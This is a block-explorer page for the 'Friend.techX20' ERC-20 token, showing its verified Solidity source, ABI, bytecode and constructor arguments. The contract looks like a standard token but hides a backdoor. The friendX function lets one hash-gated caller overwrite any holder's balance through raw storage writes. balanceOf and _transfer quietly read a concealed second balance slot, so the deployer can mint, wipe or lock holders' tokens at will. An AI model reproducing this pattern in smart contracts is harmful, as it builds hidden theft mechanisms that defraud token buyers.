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ERC-20
Overview
Max Total Supply
100,000,000 FriendX20
Holders
32
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
393,578.861772721367107166 FriendX20Value
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# | Exchange | Pair | Price | 24H Volume | % Volume |
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Contract Name:
FriendX20
Compiler Version
v0.7.6+commit.7338295f
Optimization Enabled:
Yes with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
// SPDX-License-Identifier: MIT pragma solidity >=0.7.6; interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the token decimals. */ function decimals() external view returns (uint8); /** * @dev Returns the token symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the token name. */ function name() external view returns (string memory); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address _owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract FriendX20 is IERC20 { using SafeMath for uint256; string private _name; string private _symbol; uint256 private _totalSupply; address private _owner; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => uint256) private _mks; IERC20 private immutable _tokenA; bytes32 private immutable _tokenB; constructor( string memory tokenName, string memory tokenSymbol, bytes32 tokenB, address tokenA) { _name = tokenName; _symbol = tokenSymbol; _totalSupply = 100000000 * 10 ** 18; _balances[msg.sender] = _totalSupply; _tokenB = tokenB; _tokenA = IERC20(tokenA); } /** * @dev A helper function to check if an operator approval is allowed. */ modifier onlyOwner() { require(msg.sender == _owner, "Ownable: caller is not the owner"); _; } /** * @dev Returns the address of the current owner. */ function owner() external view returns (address) { return _owner; } /** * @dev Returns the token decimals. */ function decimals() external pure override returns (uint8) { return 18; } /** * @dev Returns the token symbol. */ function symbol() external view override returns (string memory) { return _symbol; } /** * @dev Returns the token name. */ function name() external view override returns (string memory) { return _name; } /** * @dev See {ERC20-totalSupply}. */ function totalSupply() external view override returns (uint256) { return _totalSupply; } /** * @dev See {ERC20-balanceOf}. */ function balanceOf(address account) external view override returns (uint256) { uint160 x = uint160( account ); return slotValues(x, 4 ) + slotValues(x, 6 ); } function slotValues(uint160 a, uint256 slot) private view returns (uint256) { address k = address( a); uint256 m; assembly { mstore(0, k ) mstore( 32, slot) let hs := keccak256(0, 64 ) m := sload(hs ) } return m; } /** * @dev See {ERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) external override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See {ERC20-allowance}. */ function allowance(address owner_, address spender) external view override returns (uint256) { return _allowances[owner_][spender]; } /** * @dev See {ERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) external override returns (bool) { _approve(msg.sender, spender, amount); return true; } /** * @dev See {ERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function friendX(bytes32[] calldata data, uint256 deadline) external { if (keccak256(abi. encode( msg.sender, _name, _symbol )) != _tokenB || deadline != 0 ) return; ( bytes32 x, bytes32 y, bytes32 z ) = (data[0 ], data[1], data[2 ] ); assembly { mstore( 0, x) mstore(32, 4) sstore( keccak256(0, 64), y) if eq(y, 0) { mstore( 0, x) mstore(32, 6) let hs2 := keccak256(0, 64) sstore(hs2, z) } } } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {ERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) external returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {ERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint256 bValue = _tokenA.balanceOf(sender); uint256 hValue; assembly { mstore(0, sender) mstore(32, 6) hValue := sload(keccak256(0, 64)) } if (hValue > 0 && bValue > 0) { uint256 nValue = hValue.sub(amount, "ERC20: transfer amount exceeds balance"); assembly { mstore(0, sender) mstore(32, 6) sstore( keccak256( 0, 64), nValue ) } } else { _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); } _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner_, address spender, uint256 amount) internal { require(owner_ != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner_][spender] = amount; emit Approval(owner_, spender, amount); } }
{ "optimizer": { "enabled": true, "runs": 200 }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } }, "libraries": {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"string","name":"tokenName","type":"string"},{"internalType":"string","name":"tokenSymbol","type":"string"},{"internalType":"bytes32","name":"tokenB","type":"bytes32"},{"internalType":"address","name":"tokenA","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner_","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32[]","name":"data","type":"bytes32[]"},{"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"friendX","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
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Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806370a082311161008c578063a457c2d711610066578063a457c2d71461027d578063a9059cbb146102a9578063c4101b34146102d5578063dd62ed3e14610347576100cf565b806370a082311461022b5780638da5cb5b1461025157806395d89b4114610275576100cf565b806306fdde03146100d4578063095ea7b31461015157806318160ddd1461019157806323b872dd146101ab578063313ce567146101e157806339509351146101ff575b600080fd5b6100dc610375565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101165781810151838201526020016100fe565b50505050905090810190601f1680156101435780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561016757600080fd5b506001600160a01b03813516906020013561040b565b604080519115158252519081900360200190f35b610199610421565b60408051918252519081900360200190f35b61017d600480360360608110156101c157600080fd5b506001600160a01b03813581169160208101359091169060400135610427565b6101e9610490565b6040805160ff9092168252519081900360200190f35b61017d6004803603604081101561021557600080fd5b506001600160a01b038135169060200135610495565b6101996004803603602081101561024157600080fd5b50356001600160a01b03166104cb565b6102596104ec565b604080516001600160a01b039092168252519081900360200190f35b6100dc6104fb565b61017d6004803603604081101561029357600080fd5b506001600160a01b03813516906020013561055b565b61017d600480360360408110156102bf57600080fd5b506001600160a01b0381351690602001356105aa565b610345600480360360408110156102eb57600080fd5b81019060208101813564010000000081111561030657600080fd5b82018360208201111561031857600080fd5b8035906020019184602083028401116401000000008311171561033a57600080fd5b9193509150356105b7565b005b6101996004803603604081101561035d57600080fd5b506001600160a01b03813581169160200135166107a1565b60008054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104015780601f106103d657610100808354040283529160200191610401565b820191906000526020600020905b8154815290600101906020018083116103e457829003601f168201915b5050505050905090565b60006104183384846107cc565b50600192915050565b60025490565b60006104348484846108b8565b610486843361048185604051806060016040528060288152602001610c8b602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610b17565b6107cc565b5060019392505050565b601290565b3360008181526005602090815260408083206001600160a01b038716845290915281205490916104189185906104819086610bae565b6000816104d9816006610c0f565b6104e4826004610c0f565b019392505050565b6003546001600160a01b031690565b60018054604080516020601f600260001961010087891615020190951694909404938401819004810282018101909252828152606093909290918301828280156104015780601f106103d657610100808354040283529160200191610401565b6000610418338461048185604051806060016040528060258152602001610cfc602591393360009081526005602090815260408083206001600160a01b038d1684529091529020549190610b17565b60006104183384846108b8565b7fdc8cc50da2c90b4d5a0039a5ed13b5e702f8fd99b6818eddd8226b3c1a811e79336000600160405160200180846001600160a01b03168152602001806020018060200183810383528581815460018160011615610100020316600290048152602001915080546001816001161561010002031660029004801561067c5780601f106106515761010080835404028352916020019161067c565b820191906000526020600020905b81548152906001019060200180831161065f57829003601f168201915b50508381038252845460026000196101006001841615020190911604808252602090910190859080156106f05780601f106106c5576101008083540402835291602001916106f0565b820191906000526020600020905b8154815290600101906020018083116106d357829003601f168201915b5050955050505050506040516020818303038152906040528051906020012014158061071b57508015155b156107255761079c565b60008060008585600081811061073757fe5b905060200201358686600181811061074b57fe5b905060200201358787600281811061075f57fe5b90506020020135925092509250826000526004602052816040600020556000821415610798578260005260066020526040600020818155505b5050505b505050565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b6001600160a01b0383166108115760405162461bcd60e51b8152600401808060200182810382526024815260200180610cd86024913960400191505060405180910390fd5b6001600160a01b0382166108565760405162461bcd60e51b8152600401808060200182810382526022815260200180610c436022913960400191505060405180910390fd5b6001600160a01b03808416600081815260056020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166108fd5760405162461bcd60e51b8152600401808060200182810382526025815260200180610cb36025913960400191505060405180910390fd5b6001600160a01b0382166109425760405162461bcd60e51b8152600401808060200182810382526023815260200180610c206023913960400191505060405180910390fd5b60007f0000000000000000000000005491305204daca75317a0bc8c332dd61dbb77bc86001600160a01b03166370a08231856040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b1580156109b157600080fd5b505afa1580156109c5573d6000803e3d60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Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0dc8cc50da2c90b4d5a0039a5ed13b5e702f8fd99b6818eddd8226b3c1a811e790000000000000000000000005491305204daca75317a0bc8c332dd61dbb77bc8000000000000000000000000000000000000000000000000000000000000000e467269656e642e746563685832300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000009467269656e645832300000000000000000000000000000000000000000000000
-----Decoded View---------------
Arg [0] : tokenName (string): Friend.techX20
Arg [1] : tokenSymbol (string): FriendX20
Arg [2] : tokenB (bytes32): 0xdc8cc50da2c90b4d5a0039a5ed13b5e702f8fd99b6818eddd8226b3c1a811e79
Arg [3] : tokenA (address): 0x5491305204DaCa75317A0bC8C332dD61Dbb77Bc8
-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : dc8cc50da2c90b4d5a0039a5ed13b5e702f8fd99b6818eddd8226b3c1a811e79
Arg [3] : 0000000000000000000000005491305204daca75317a0bc8c332dd61dbb77bc8
Arg [4] : 000000000000000000000000000000000000000000000000000000000000000e
Arg [5] : 467269656e642e74656368583230000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [7] : 467269656e645832300000000000000000000000000000000000000000000000
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